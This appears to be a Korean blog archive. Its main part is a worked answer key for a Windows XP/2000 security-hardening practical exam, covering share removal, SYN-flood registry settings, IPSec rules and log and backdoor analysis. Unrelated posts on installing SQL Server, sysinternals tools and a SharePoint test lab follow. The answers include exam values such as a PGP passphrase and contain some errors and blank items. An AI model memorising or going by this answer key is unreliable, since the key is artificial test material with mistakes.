"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system" 에
LegalNoticeCaption (제목)
LegalNoticetext (내용) 에 각각 해당 사항 입력

[마지막 로그온한 사용자 계정 감추기]
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system" 에
"dontdisplaylastusername" 을 "1"로 설정



5. 권한 없는 사용자가 서버의 계정 이름 목록을 수집하여 암호를 추측하거나
`사회 공학적 해킹`방법을 수행하는 형태의 접근을 차단하기 위해
아래와 같이 익명 접근을 제한하여라.

A. 콘솔 로그온 시 로컬 계정에서 빈 암호 사용 제한
=>
"로컬 보안 설정 > 로컬 정책 > 보안 옵션" 정책중에
"계정: 콘솔 로그온 시 로컬 계정에서 빈 암호 사용 제한"을 사용으로 변경

B. SAM 계정의 익명 열거 허용 안함
=>
"로컬 보안 설정 > 로컬 정책 > 보안 옵션" 정책중에
"네트워크 액세스: SAM 계정과 공유의 익명 열거 허용 안 함 "을 사용으로 변경

C. SAM 계정과 공유의 익명 열거 허용 안함
=>
"로컬 보안 설정 > 로컬 정책 > 보안 옵션" 정책중에
"네트워크 액세스: SAM 계정의 익명 열거 허용 안 함 "을 사용으로 변경



6. 각종 바이러스, 웜 감염에 대비하여 운영체제 시작 시 자동으로 공유되는
관리용 폴더를 검색하여 `C:\MgtShare.txt` 파일로 저장하여라.
또한 현재 공유되어 있는 모든 관리용 폴더를 삭제하고 재 부팅 시에도
공유되지 않도록 레지스트리 값을 설정하여라.
=>
[관리용 폴더를 검색하여 저장]
net share > c:\MgtShare.txt

[현재 실행 중인 기본 공유 제거]
net share IPC$ /delete (IPC는 커맨드로 삭제 불가능 - 서비스를 지워야함)
net share c$ /delete
net sharee admin$ /delete

[기본 공유 제거 - XP / 2003]

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters

 - Value name : AutoShareServer
 - Data Type : DWORD
 - Value : 0(zero)


5.관리자 계정 보안

1. 현재 관리자 sid값은 무엇인가?
=>
실행(ctrl+r) > cmd

c:\>user2sid administrator
S-1-5-21-796845957-412668190-839522115-500
Number of subauthorities is 5
Domain is KISA-1
Length of SID in memory is 28 bytes
Type of SID is SidTypeUser

c:\>getsid \\kisa-1 administrator \\kisa-1 administrator
The SID for account KISA-1\administrator matches account KISA-1\administrator
The SID for account KISA-1\administrator is S-1-5-21-796845957-412668190-839522115-500



2. 관리자 이름을 `eent123x`로 변경하여라. 변경 이후 관리자 sid값은 무엇인가?
=>
[관리자 이름 변경]
"로컬 보안 설정>로컬 정책 > 보안 옵션" 에 정책중
"계정 : Administrator 계정 이름 바꾸기" 값을 eent123x로 변경한다.

[변경 이후 관리자 sid 값]
1번 같은 방법으로..




3. 가짜 Administrator 계정을 만들고 guest 그룹으로 등록하여라.
=> "제어판 > 관리도구 > 컴퓨터 관리"에
   "로컬 사용자 및 그룹 > 사용자"에서
   "오른쪽 클릭 > 새 사용자"클릭 이름을 Administrator로 정하고 확인
   목록에서 Administrator 우클릭> 속성에 "소속 그룹" 탭에서
   "추가" 클릭> 그룹선택에서 "고급" 클릭
   "지금 찾기"클릭후 목록에서 Guest 계정 클릭하고 확인
   기존에 등록되어있던 소속 그룹은 삭제한다.
  


4. 패스워드 크랙 방지를 위해 SAM 데이터 베이스를 128bit로 암호화 시켜라.
=> 실행>cmd

c:>syskey
Windows XP 계정 테이터베이스 보안
암호화 사용> 확인


6.패치 및 업데이트 관리

※ 주의 : MBSA(Microsoft Baseline Security Analyzer)를 이용하여 해결하시오.

1. 현재 시스템에서 업데이트가 이루어지지 않았거나 잘못된 업데이트는
모두 몇 개 인가?
=> C:\Program Files\Microsoft Baseline Security Analyzer\mbsa를 실행한다.

17개


2. 현재 시스템에서 나타난 취약점은 모두 몇 개 인가?
0개



7.Windows XP 폴더 보안

Windows XP Professional을 사용하는 중소기업에서 개인 공유 폴더에 대한 보안을
아래와 같이 설정하려고 한다.

1. `4분기영업자료` 공유 폴더를 share_user 라는 사용자만 네트워크를 통해
읽기 가능하도록 설정하여라.
=> 해당 폴더 우클릭 > "공유 및 보안" 클릭
   공유설정 확인한다.
   사용자 제한설정이 나오지 않는다면 탐색기>도구>폴더 옵션 "보기"탭에서
   "모든 사용자에게 동일한 폴더 공유 건한을 지정"에 체크를 해제한다.
  
   "사용권한" 클릭 > "추가" 클릭 > "고급" 클릭 > "지금 찾기" 클릭
   share_user 를 찾아서 확인
   기존에 등록된 그룹또는 사용자는 삭제한다.



2. `4분기영업자료` 폴더에 접근할 사내 직원은 10명이 넘지 않으므로 10명만
동시 접속이 가능하도록 설정하여라
=>
   "공유 및 보안"에서 사용자 제한> "허용 인원"을 10으로 설정


8.터미널 서비스 보안

1. `ftp_user` 계정만 터미널 서비스에 로그온 할 수 있도록 설정하여라.
=> "실행" > "compmgmt.msc"(컴퓨터관리)
   "시스템 도구" > "로컬 사용자 및 그룹" > "사용자" > "ftp_user"추가
   내 컴퓨터 > 속성 > "원격"탭에서 원격데스크톱에 사용자 추가 ftp_user
  

2. 기본적인 터미널 서비스 포트 3389/tcp를 3147포트로 변경하여라.

아래 레지스트리 경로로 이동하여 터미널 서비스 접속 포트를 변경 하여 준다.
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp 에서 Port number 수정
 

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp 에서 Port number 수정



10진수를 선택하고 3147을 넣어주면 된다.


9.레지스트리 보안

웜이 시스템 시작 시 레지스트리로부터 실행되는 것을 막기 위해 자동 실행관련
레지스트리 키를 찾아 관리자 그룹(administrators), 시스템 그룹(SYSTEM)만
접근 가능하도록 설정하였다.

1. 바이러스 웜 및 악성 프로그램이 시스템에 설치되었는지 감사하고자 한다.
자동 실행 관련 레지스트리 키의 `값 설정`, `삭제`, `하위 키 추가 성공`,
`연결 만들기` 이벤트 발생시 감사로그가 남도록 설정하여라.

HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersion의 Run, RunOnce, RunServices

HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersion의 Run, RunOnce, RunServices, RunServicesOnce



2. 패스워드 무작위 대입 공격이나 바이러스 웜 감염을 막기 위해 원격에서
레지스트리 조작을 허용하지 않도록 설정하여라
=> 실행 > services.msc
"Remote Registry" 항목 "사용 안함"으로 설정


10.전자 메일 보안

1. 바이러스 가능성이 있는 첨부파일을 저장하거나 열 수 없도록 설정하여라.
=> OutLook Express 실행 > "도구" > "옵션"
   "보안"탭에 "바이러스 가능성이 있는 첨부 파일을 저장하거나 열 수 없음" 체크



2. 다른 응용 프로그램에서 나를 발신인으로 하는 메일을 보낼 때 경고하도록
설정하여라.
=> OutLook Express 실행 > "도구" > "옵션"
   "보안"탭에 "다른 응용 프로그램에서 나를 발신인으로 하는 메일 보낼 때 경고" 체크



3. 선정적인 HTML이나 악성 HTML, 스파이웨어 등으로부터 컴퓨터를 보호하기 위해
수신된 모든 전자메일을 평문(Text)으로 읽을 수 있도록 설정하여라.
=> OutLook Express 실행 > "도구" > "옵션"
   "읽기" 탭에 "일반 텍스트로 모든 메시지 읽기" 체크


4. 제목이 `[광고], (광고), [광 고], (광 고)`로 표기된 메일을 모두
`광고메일` 함으로 이동시키는 필터 규칙을 만들고 적용하여라.
(단, 규칙 이름은 `광고메일` 로 지정한다.)
=> "도구" > "메세지 규칙" > "메일" 클릭
1. 규칙의 조건 선택 에서 "제목란에 특정 단어 포함" 선택
2. 규칙의 동작 선택 에서 "지정된 폴더로 이동" 선택
3. 규칙 설명에서 특정단어와 지정된 폴더 클릭으로 들어가서 선택
4. 규칙 이름에 "광고메일" 입력



5. 제품 등록 키를 PGP로 암호화하여 수신된 E-Mail이 있다.(개인키 : kisa12#$)
전자메일 메시지 내의 제품 정식 등록 키 값은 무엇인가?
=> 메일 전체 복사
트레이아이콘(자물쇠) 클릭 > "clipboard" > decrypt & verify
"개인 키"에 kisa12#$를 입력 확인

제품 등록키 123-24-12345



11.파일 및 폴더 암호화

1. 기밀 파일을 담고 있는 `C:\Documents and Settings\kisa\My Documents`
폴더를 EFS를 사용하여 암호화 하고자 한다. 아래와 같이 설정하여라.

▶ 다른 계정으로 로그온 한 사용자가 접근하지 못하도록 제한하여라.
▶ 현재 폴더 및 하위 폴더에 모두 적용되도록 설정하여라.

[EFS 암호화]
해당 폴더 우클릭 > 속성 > "일반"탭 에서 "고급" 클릭
"보관 가능" 체크
"데이터 보호를 위해 내용을 암호화" 체크 후에 확인
 현재 폴더 및 하위 폴더 적용 체크 후 다시 확인



2. `C:\EfsShare`에 EFS로 암호화되어 저장된 파일(sis.txt)을
`sis_admin` 사용자도 읽기 가능하도록 설정하여라.
=>
 폴더로 이동하여 sis.txt 라는 파일을 새로 만든다.
 1번과 동일하게 암호화 해준다.

c:\EFShare안에 sis.txt 파일을 만들고 똑같이 EFS로 암호화 하되 자세히를 눌러 접근 가능한 사용자를 추가해 준다.

자세히가 클릭이 안될경우
 속성에 "보안" 탭에 sis_admin 사용자를 추가 한다.



3. 패스워드 분실 및 계정 삭제, 디스크 포맷등과 같은 만일의 사태에 대비하여
암호화한 파일 및 폴더를 복구 할 수 있도록 인증서를 백업(C:\EFSBackup.cer)하여라
=> "실행" > mmc > 파일 > 스냅입 추가/제거
 인증서를 추가 한다.
 인증서에서 "신뢰된 사용자" > "인증서"에서
 "sis_admin" 우클릭 > 모든작업 > 내보내기


12.인터넷 익스플로어 보안

1. 공용 컴퓨터에서 인터넷 뱅킹 뿐만 아니라 사적인
컴퓨팅 활동을 보호 하려고 한다. 웹 사이트에서 입력된 사이트 주소,
사용자 ID 및 패스워드를 저장 시키지 않기 위한 옵션과 최근 방문했던
모든 사이트의 주소를 삭제하여라.

=> 익스플로러 > 속성 > "일반" 탭에서 쿠키 및 임시파일
   인터넷 접속 목록을 모두 삭제 한다.
 
[사용자 ID 및 패스워드를 저장 시키지 않기]
익스플로러  > 속성 > "내용" > "자동 완성" 클릭
자동완성 대상을 모두 체크를 해제 한다.


2. 개인 보호 정책이 없는 제 3사 사이트로부터 쿠키를 차단 시키고,
제 1사 쿠키만을 허용하도록 쿠키 보안을 설정하여라.
 
=> 익스플로러 > 속성 > "개인 정보" 탭에서 "고급" 클릭
   제 1사 쿠키 는 "적용"
   제 3사 쿠키 는 "차단" 으로 적용한다.


13.DoS공격 방어

아래와 같이 웹 서버가 초당 1000개 이상의 SYN 패킷을 받고 있었다.
앞으로 이런 유형의 공격을(DoS) 방어하기 위한 레지스트리 값을 설정하여라.

C:>netstat -na | findstr ` SYN_RECEIVED`
TCP 211.241.82.71:80 6.55.194.236:51370 SYN_RECEIVED
TCP 211.241.82.71:80 16.192.252.18:22452 SYN_RECEIVED
TCP 211.241.82.71:80 49.5.243.221:52363 SYN_RECEIVED
TCP 211.241.82.71:80 50.145.99.80:46108 SYN_RECEIVED
TCP 211.241.82.71:80 51.53.109.147:28308 SYN_RECEIVED
TCP 211.241.82.71:80 61.58.85.212:52375 SYN_RECEIVED
TCP 211.241.82.71:80 63.33.85.135:32111 SYN_RECEIVED
TCP 211.241.82.71:80 67.206.19.195:28501 SYN_RECEIVED
TCP 211.241.82.71:80 68.79.239.155:42810 SYN_RECEIVED
TCP 211.241.82.71:80 221.29.79.118:36387 SYN_RECEIVED 

=>서비스 거부 공격을 원천적으로 막을 수 있는 방법은 아직 없지만

윈도우는 TCP/IP 스택을 강화하면 일부 정도는 막을수 있다.

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\tcpip\parameters " 에

다음과 같은 항목을 추가한다.

name                   hex값(10진)
EnableICMPRedirect     0
SynattackProtect       2
TcpMaxHalfOpen            64(100)
TcpMaxHalfOpenRetried     64(100)
EnableDeadGWDetect    0
EnablePMTUDiscovery    0
KeepAliveTime    493e0(300000)
DisableIPSourceRouting    2
TcpMaxConnectResponseRetransmissions    2
TcpMaxDataRetransmissions    3
PerformRouterDiscovery    0
TcpMaxPortsExhausted   5
NoNameReleaseOnDemand     1



14.IPSec 보안

1. 외부의 특정 네트워크 대역으로부터 SMB Login Burst Force 공격이
지속적으로 발생되고 있다.
해당 네트워크 대역으로부터 서버를 보호하기 위한 IPSec 환경을 구성하여라.
(단, 보안정책 이름은 CIFS_DCOM Deny 로 지정한다.)

=> 로컬 보안 설정 > "로컬 컴퓨터의 IP 보안 정책"에
  새 정책을 "CIFS_DCOM Deny"로 등록 한다.


2. 다른 서버에서도 적용 가능하도록 정책을 저장하여라[C:\Default_Care.ipsec].
내보내기로 저장


15.TCP/IP 필터링

1. 공개적인 웹 서비스를 구축하기 위해 TCP/IP 필터링을
사용하여 아래와 같이 구성하여라.
▶ 재시작 후에 웹 서비스 포트(80/TCP, 443/TCP)만 접근 가능하도록 설정하여라.
=> 네트워크 연결 > 로컬 네트워크 속성 > 인터넷 프로토콜 속성 >
   "고급" 클릭 > 고급 tcp/ip 설정에 "옵션" 탭에 > 속성
  
TCP/IP 필터링 사용(모든 어댑터) 체크
다음만 허용 체크후에 포트 추가
tcp -> 80, 443
udp -> 없음.
ip  -> 6

ip에 6번을 추가하는 이유
Decimal Keyword Protocol
======= ======= ==============
0 HOPOPT IPv6 Hop-by-Hop Option
1 ICMP Internet Control Message
2 IGMP Internet Group Management
3 GGP Gateway-to-Gateway
4 IP IP in IP (encapsulation)
5 ST Stream
6 TCP Transmission Control
7 CBT CBT
8 EGP Exterior Gateway Protocol
9 IGP any private interior gateway
(used by Cisco for their IGRP)


2. IPSec을 사용하여 아래와 같이 구성하여라.
▶ 웹 서버가 Ping에 응답되지 않도록 설정하여라.
(단, 보안정책 이름은 ICMP_ECHO Deny 로 지정한다.)
=>
 머리속에 있음.


16.인터넷 연결 방화벽ICF

Windows XP에서 외부 공격을 효율적으로 차단하기 위해
ICF(Internet Connection Firewall)을 사용 하기로 하였다.
아래와 같이 구성하여라.

1. 211.241.82.71에서만 원격 데스크톱 서비스에 접근 가능하도록 설정하여라.


2. 원격 데스크톱 서비스에 접근 성공한 로그를 남기도록 설정하여라.


3. ping 요청에 응답하지 않도록 설정하여라.


17.이벤트 로그 분석

※C:LogParser를 사용하시오 

피해 시스템에서 가져온 보안 이벤트 로그(C:sec_security.evt)를 분석하여
아래 질문에 답하시오. (시간은 `2004-11-24 19:30:29` 의 형태로 입력해야 함.)

1. 최초 침입자가 시스템에 네트워크로 로그온 성공한 시간과 사용자명,
컴퓨터 이름은 무엇인가?
=>
네트워크 로그온 이벤트 ID : 540
logparser "select * from sec_security.evt where eventid = 540" -o:csv > 515.csv

[로그온 성공한 시간] : 2003-08-13 20:07:24
[사용자명] : admin
[컴퓨터 이름] : SHANLUZ

Burst-Force Attack 성공 EventID : 680, 576, 540, 538
네트워크 로그온 command session 연결 성공 EventID : 680, 576, 540, 515

2. 원격 로그온에 사용된 프로세서는 무엇인가?

=> psexesvc.exe

3. 두 번째 침입자가 시스템에 네트워크로 로그온 성공한 시간과 사용자명,
컴퓨터 이름은 무엇인가?
[로그온 성공한 시간] :2003-08-13 20:24:25
[사용자명] : admin
[컴퓨터 이름] : UHUHLY

4. 원격 로그온에 사용된 프로세서의 윈도우 서비스 명은 무엇인가?
=>Tlntsvr.exe


18.인터넷 익스플로어 악성 프로그램 대응

1. 인터넷 익스플로어를 실행할 때마다 인터넷 옵션의
시작 페이지를 http://www.sis.or.kr 로 변경하였음에도 불구하고
http://movie2.ce.ro/로 계속 변경 되고 있다.
시작 페이지와 관련된 레지스트리 값을 모두 찾아
http://www.sis.or.kr로 변경하여라.

2. 인터넷 익스플로어 주소창에 등록되지 않은 도메인을 입력할 경우
원하지 않는 사이트(http://prosearching.com)로 이동되고 있다.
위와 관련된 레지스트리 값을 모두 찾아 www.sis.or.kr로 변경하라.

=> 아래에 나와있는 레지스트리를 찾아서 바꾸면된다.
혹은 검색해서 변경해도 결과는 같다.

HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\CustomizeSearch

HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Search Page

HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\StartPage


HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\CustomizeSearch

HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\Search Page

HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\SearchAssistant

HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\Start Page


19.악성 프로그램 대응서비스

윈도우 2000 Server 시스템이 해킹 당한 것으로 의심되었다.
백신 프로그램으로 바이러스 감염여부를 조사하였지만 특별한 이상은 없었다.
시스템 관리자가 유심히 지켜본 결과 특정 네트워크 포트를 통해 시스템에
지속적으로 접근한다는 사실과 서버를 재 부팅하여도
계속적으로 동일한 현상이 발생한다는 것을 알았다.

1. 침입자가 설치한 백도어 파일 이름과 백도어 포트는 무엇인가?

※C:fport를 사용하시오

fport 를 실행시키면

pid3388 / c:\windows\system32\ismshrv.exe   이녀석이 실행되고 있음.

20.악성 프로그램 대응dll

윈도우 2000 Server 시스템이 해킹 당한 것으로 의심되었다.
백신 프로그램으로 바이러스 감염여부를 조사하였지만 특별한 이상이 없고,
윈도우 작업 관리자를 통해 실행중인 프로세서 목록을 점검하여도 의심될 만한
프로그램이 없었다. 시스템 관리자가 유심히 지켜본 결과 침입자가
동적 연결 파일(Dynamic Linking Library File)를 이용한다는 것과
서버를 재 부팅하여도 계속적으로 동일한 현상을 발생 시킨다는 것을 알았다.
또한 특정한 외부 웹 서버로 일정 시간마다 SYN패킷을 보내고 있다는 것도 알았다.

1. 악성 프로그램이 이용하고 있는 서비스 이름과 DLL 파일, 포트는 무엇인가?

※C:\listdlls를 사용하시오

listdlls -?  //도움말을 볼 수 있다.

시간이 너무 오래 걸려서 explorer만 확인해보았다.

c:> listdlls explorer.exe

hgfs.dll 만 버젼 정보가 나오지 않는다.. 수상한것으로 판단했다.

나머지 이런것들도 있단다.
iexplorer.dll
explorer.dll
msexcel.dll


21.악성 프로그램 대응.bat 레지스트리 실행

네트워크 관리자로부터 현재 사용중인 Windows 컴퓨터가 이상 트래픽이
발생된다는 보고를 받았다. CPU 사용률이나 메모리 점유율이 평소와 크게
차이가 없고, netstat 명령을 이용하여 네트워크 접속 상황을 점검하여도
특이할 사항이 발견되지 않았다. 그러나 윈도우 배치프로그램 실행할 때마다 동시에
알지 못할 프로세서가 시작된다는 것을 알았다.

1. 악성 프로그램 실행(.exe) 파일의 Original Filename은 무엇인가?

2. 악성 프로그램 제작자의 Messenger ID는 무엇인가?

3. 악성 프로그램이 변경한 시스템 환경을 원래대로 복구 하여라.

※C:\exefileinfo, Process Explorer등을 사용하시오

=> 프로세스 익스플로러를 실행시킨다.
윈도우 배치 프로그램이 수상하다 했으니 system32\ 파일을 검색해보자

3개에 배치파일일 검색된다.

ready.bat
start.bat
parsng.bat

ready.bat을 실행 시키로 프로세스 익스플로러를 확인해 보니

igmp.exe 라는 프로그램이 지속적으로 실행 종료를 반복하고 있다.

igmp.exe 프로그램도 system32\ 폴더에 있다.

exefileinfo 프로그램을 이용하여 igmp.exe를 열어보면
제일 아래쪽에 파일 설명이 나와있다.
파일 설명 : port of kiss of death dos attack to windows
버젼 : 1.2.0.0
저작권 : Kalibre (metinsdr@hotmail.com)
최초파일명 : bomba.exe

2011/01/27 01:06 2011/01/27 01:06

MS SQL Server 2008 Express Edition 설치하기.

SQL Server 2008 한국 공식 페이지
http://www.microsoft.com/korea/sqlserver/2008/

1) .NET Framework
아래 SQL Server 2008 시리즈를 설치하려면 .NET Framework가 필요합니다. 2005는 2.0이 필요했는데 2008은 잘 모르겠네요. Windows Vista, Windows Server 2008 유저라면 .NET Framework를 설치하지 않아도 됩니다. 기본으로 3.0이 깔려있거든요. 아니 3.5던가-.- 여튼.
http://www.microsoft.com/downloads/details.aspx?displaylang=ko&FamilyID=ab99342f-5d1a-413d-8319-81da479ab0d7
.NET Framework 3.5 SP1

2) Windows Installer 4.5
http://www.microsoft.com/downloads/details.aspx?familyid=5A58B56F-60B6-4412-95B9-54D056D6F9F4&displaylang=ko

SQL Server 2008을 설치하기 위해 새로운 버젼의 Windows Installer가 필요합니다. XP, Vista, 2003, 2008 사용자들 모두 받아서 설치하셔야 합니다. 비스타 최신버젼으로 항상 업데이트 하는데 4.5는 권고사항이 아닌지 자동으로 업데이트 하지는 않는군요. 자 설치 후 윈도 재시작을 합시다.

3) Windows PowerShell
http://www.microsoft.com/downloads/details.aspx?FamilyID=c6ef4735-c7de-46a2-997a-ea58fdfcba63&displaylang=ko&Hash=q16zriLf9%2bvbBNjIAiEzg9%2bsT1k8UgwO7qoAnWIVumx7GpCL4Y5iFpet8c%2fSyYvVpqCxGv8G%2fTcs9c05QshDjg%3d%3d
Windows Vista 사용자 대상입니다.

http://www.microsoft.com/downloads/details.aspx?FamilyID=c61fb27b-e71c-4ecf-9d2c-9b299b149490&displaylang=ko
이건 Windows Server 2003

http://www.microsoft.com/downloads/details.aspx?FamilyID=30125a46-b97c-4704-aa10-605e809d5933&displaylang=ko
이건 Windwos XP 용


1. 다운로드
http://www.microsoft.com/express/sql/download/
  • SQL Server 2008 Express with Tools
    • SQL Server database engine - create, store, update and retrieve your data
    • SQL Server Management Studio Basic - visual database management tool for creating, editing and managing databases
  • SQL Server 2008 Express with Advanced Services
    • SQL Server database engine - create, store, update and retrieve your data
    • SQL Server Management Studio Basic - visual database management tool for creating, editing and managing databases
    • Full-text Search - powerful, high-speed engine for searching text-intensive data
    • Reporting Services - integrated report creation and design environment to create reports
  • SQL Server 2008 Express (Runtime Only)
    • SQL Server database engine - create, store, update and retrieve your data

이렇게 세가지 중에 골라서 자기 환경에 맞는 것을 설치합니다.
대체로 SQL Server 2008 Express with Tools를 설치하겠지요.

2. 설치하기
뭐 별거 있나요. 받은 EXE 파일 실행합시다 -p-
좌측 "설치" 메뉴에 "새 SQL Server 독립 실행형 설치 또는 기존 설치에 기능 추가" 입니다.
그리고 그냥 다음, 확인, 설치 버튼 쭉 눌러가다보면 끝.



이상 설치 한 후 써본 소감은.
기존 SQL Server 2005에 비해 쿼리 작성기가 많이 편해졌다. 코드 하이라이팅은 원래 됬는데, Visual Studio 처럼 자동 완성 기능이 생겼다 (!!!!!!!!!)
이상 눈에 띄는 좋은 점 끝.
2011/01/27 01:04 2011/01/27 01:04
해당 컴퓨터에 실행되어지는 프로세서를 보여주고
컨트롤 할 수 있는 프로그램..

서버관리자라면 필수이겠쬬...!!



다운로드 : Process Explorer V11.33



주요기능
* 프로세스 아이콘을 보여줌
* 프로세스 강조 기능
* 프로세스 트리 디스플레이
* 리프레스 주기 설정 가능
* 리프레시 강조 : 프로세스, 제어, DLL 뷰 내의 새로운 새로운 엔트리는 녹색, 삭제된 것은 붉은색으로
* 툴팁 제공
* DLL 뷰 내에 DLL 상세 묘사
* 재위치한 DLL 강조
* Terminal Server 시스템을 포함한 모든 Process Owners 리스트
2011/01/27 01:03 2011/01/27 01:03
 

mtail: http://www.mtail.com 에서 제작
itail : http://idev.ibksystem.co.kr 에서 제작

대표 적인 로그 보는 프로그램으로
텍스트 형태의 로그 파일을 실시간으로 모니터링 및 필터링 할 수 있는 툴입니다.


기능은 비슷하고 사용 편하신거 골라서 사용하시면 됩니다.

2011/01/27 01:02 2011/01/27 01:02
TcpView
네트워크 및 서버를 관리하는 사람은 필수 있겠죠.
해당 프로그램을 이용하면, 본인 컴퓨터에 연결되어 있는 프로세스 및 접속 포트/아이피를 알아 낼수 있고
불법으로 연결되어 있는 프로세스들도 확인 가능하겠쬬..




다운로드 :


기능 간략 설명 :

녹색 : 새로 연결되는 프로그램
노란색 : 접속 상태가 변하고 있는 프로그램
빨간색 : 연결이 종료될 프로그램

 

빨간색 네모 해 놓은 못모양을 클릭하면 위에 X표가 생기면서 연결된 것들만 표시
그 옆에 A를 클릭하면 X가 생기면서 Local Address와 Remote Address가 아이피로 표시

2011/01/27 01:01 2011/01/27 01:01
Process Explorer 과 비슷한 프로그램으로 해당 피시에 실행되는 프로세스 정보를 모두 확인 할 수 있으며,
 두 프로그램을 적절히 사용하면,
보안 침해 분석에 조금더 쉬운 관리가 가능하다..





다운로드 :


설명 : Process Viewer는 윈도를 실행하면 실행되는 프로세서와 드라이버, 서비스를 리스트 형태로 보여주고 강제 종료할 수 있게 해주는 프로그램입니다.

따로 설치할 필요없이 다운 받은 파일의 압축을 풀고 실행하시면 되는 간단한 구조로 되어 있기 때문에 손쉽게 사용이 가능합니다.

프로그램을 실행하시면 현재 실행중인 프로세서, 드라이버, 서비스를 탭형식의 메뉴 형태로 보여줍니다.

프로세서창에서는 프로세서의 이름, PID, CPU 사용시간, 메모리 사용량을 보여주고 드라이버 항목에서는 이름, 기본 주소, Load Cnt, 경로 정보를 보여주며, 서비스 항목에서는 디스플레이 이름, Status, 시작 타입을 보여줍니다.
2011/01/27 01:01 2011/01/27 01:01

테스트 환경에 SharePoint Server 2010 배포

저는 이번 주초에 테스트 컴퓨터를 구성하고 테스트 환경에 Project Server 2010 배포에 나와 있는 유용한 지침에 따라 새로운 SharePoint Server 2010 테스트 환경을 설치했습니다. 이 문서 시리즈는 Project Server 사용자를 위한 것이지만 Project Server 2010의 필수 구성 요소인 SharePoint Server 2010의 테스트 배포를 성공적으로 수행하는 데에도 도움이 될 것입니다. 이 블로그 게시물에서는 이러한 지침을 사용하여 Project Server 2010 없이 SharePoint Server 2010을 배포하는 경우 수행하는 작업이 어떻게 달라지는지에 대해 설명하겠습니다.

저의 참고 설명에 나와 있는 수정 내용과 함께 다음 링크의 지침을 준수하여 아래 서버가 포함된 가상 테스트 환경을 구현해야 합니다.

  • 가상 도메인의 도메인 컨트롤러(Litware-DC)
  • Microsoft SQL Server 2008이 실행되는 서버(Litware-SQL)
  • Microsoft SharePoint Server 2010이 실행되는 서버(Litware-SP2010)

몇 가지 참고할 사항:

이러한 지침에서는 사용자가 소프트웨어를 CD나 DVD 또는 ISO 파일로 가지고 있는 것으로 간주하고 있습니다. 컴퓨터에는 8GB의 RAM과 60GB 이상의 디스크 공간이 있어야 합니다. 시작하기 전에 Hyper-V와 함께 Windows Server 2008 또는 Windows Server 2008 R2를 실행해야 합니다. 64비트 Windows Server 2008 가상 컴퓨터를 실행할 수 있으면 다른 가상화 솔루션도 사용할 수 있습니다.

1.       Project Server 2010 테스트 환경을 만들기 위한 Hyper-V 빠른 시작을 읽고 문서의 단계를 수행하십시오. 또한 비디오를 감상(영문일 수 있음)할 수도 있는데 가급적이면 비디오를 활용하는 것이 좋습니다. 여기에 설명된 단계는 다음과 같습니다.

a.       Hyper-V를 사용하도록 설정합니다.

b.      가상 컴퓨터가 서로 간에 통신할 수 있도록 내부 가상 네트워크를 구성합니다.

c.       가상 컴퓨터에서 회사 네트워크 및 인터넷과 통신할 수 있도록 외부 가상 네트워크를 구성합니다. 이를 통해 SharePoint Server 2010에서 필수 구성 요소를 다운로드할 수 있습니다.

d.      가상 컴퓨터 세 개를 만듭니다. 이 문서에서는 이러한 가상 컴퓨터의 이름을 각각 Litware-DC(도메인 컨트롤러), Litware-SQL(SQL Server 2008), Litware-Proj(SharePoint Server 2010 및 Project Server 2010)로 지정하고 있습니다. 원하는 아무 이름이나 사용할 수 있으며 마지막 가상 컴퓨터의 이름으로 Litware-SP2010 또는 이와 비슷한 이름을 사용할 수도 있습니다.

e.      가상 컴퓨터에 운영 체제를 로드합니다.

2.       첫 번째 가상 컴퓨터(Litware-DC 또는 첫 번째 단계에서 지정한 이름)의 경우 Project Server 2010 테스트 환경에 대한 도메인 컨트롤러 설정의 지침을 따릅니다. 또한 비디오를 감상(영문일 수 있음)할 수도 있으며 마찬가지로 가능한 한 비디오를 활용하는 것이 좋습니다. 이러한 지침은 다음과 같습니다.

a.       고정 IP 주소를 구성합니다.

b.      Litware-DC를 도메인 컨트롤러로 구성합니다. 이렇게 하면 포리스트 루트 도메인인 litware.local이 만들어집니다.

3.       다른 두 가상 컴퓨터(Litware-SQLLitware-SP2010 또는 첫 번째 단계에서 지정한 이름)의 경우 Project Server 2010 테스트 환경에서 가상 도메인에 가상 컴퓨터 추가의 지침을 따릅니다. 마찬가지로 비디오를 감상(영문일 수 있음)할 수도 있습니다. 이러한 지침은 다음과 같습니다.

a.       고정 IP 주소를 구성합니다.

b.      litware.local 도메인에 연결합니다.

4.       Project Server 2010 테스트 환경에 대한 계정 설정의 지침을 따릅니다. Project Server 2010을 배포하지 않는 경우 마지막 두 계정인 Litware\WFProxy와 Litware\ProjDataAccess를 설정할 필요가 없습니다. 이러한 지침은 다음과 같습니다.

a.       SQL Server 관리자, 팜 관리자 및 서비스 응용 프로그램 계정에 대한 Active Directory 서비스 계정을 만듭니다.

b.      Active Directory 그룹을 만듭니다(Project Server 2010을 배포하는 경우에만 해당).

5.       Project Server 2010 테스트 환경에 대해 SQL Server 설치의 지침을 따릅니다. 또한 비디오를 감상(영문일 수 있음)할 수도 있습니다. 이러한 지침은 다음과 같습니다.

a.       로컬 관리자를 구성합니다.

b.      SQL Server 2008을 설치합니다.

c.       SQL Server 2008 SP1을 설치합니다.

d.      SQL Server 2008 SP1 CU2를 설치합니다.

e.      팜 관리자 계정에 대한 로그인을 만듭니다.

6.       Project Server 2010 테스트 환경에 SharePoint Server 2010 설치의 지침을 따릅니다. 또한 비디오를 감상(영문일 수 있음)할 수도 있습니다. 이러한 지침은 다음과 같습니다.

a.       로컬 관리자를 추가합니다.

b.      SharePoint Server 2010의 필수 구성 요소를 설치합니다.

c.       SharePoint Server 2010을 설치합니다.

